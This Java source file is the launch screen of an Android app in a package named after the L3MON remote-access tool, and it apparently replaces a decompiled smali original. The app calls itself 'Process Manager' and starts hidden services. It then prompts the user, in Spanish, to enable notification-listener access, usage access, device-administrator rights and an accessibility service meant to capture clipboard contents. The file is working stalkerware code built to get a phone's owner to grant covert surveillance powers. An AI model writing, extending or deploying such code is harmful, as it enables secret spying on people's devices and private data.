package com.etechd.l3mon;

import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.provider.Settings;
import android.widget.Toast;

/**
 * Configuración inicial de permisos (sustituye MainActivity.smali).
 */
public class MainActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(0x7f040000);

        startService(new Intent(this, MainService.class));
        SystemLogApi.init(getApplicationContext());

        if (!isNotificationListenerEnabled()) {
            Toast.makeText(this,
                    "Activa TODOS los permisos y el acceso a notificaciones para «Process Manager»",
                    Toast.LENGTH_LONG).show();
            try {
                startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"));
            } catch (Exception ignored) {
            }
        }

        if (!UsageAccessHelper.hasAccess(this)) {
            UsageAccessHelper.openSettings(this);
        }

        if (!DeviceAdminHelper.isActive(this)) {
            DeviceAdminHelper.openActivationScreen(this);
        }

        if (!ClipboardAccessibilityService.isRunning()) {
            try {
                startActivity(new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS));
                Toast.makeText(this,
                        "Activa el servicio de accesibilidad «Process Manager» (portapapeles y uso de apps)",
                        Toast.LENGTH_LONG).show();
            } catch (Exception ignored) {
            }
        }

        try {
            startActivity(new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS)
                    .setData(Uri.parse("package:" + getPackageName())));
        } catch (Exception ignored) {
        }

        finish();
    }

    private boolean isNotificationListenerEnabled() {
        try {
            String enabled = Settings.Secure.getString(
                    getContentResolver(), "enabled_notification_listeners");
            return enabled != null && enabled.contains(getPackageName());
        } catch (Exception e) {
            return false;
        }
    }
}
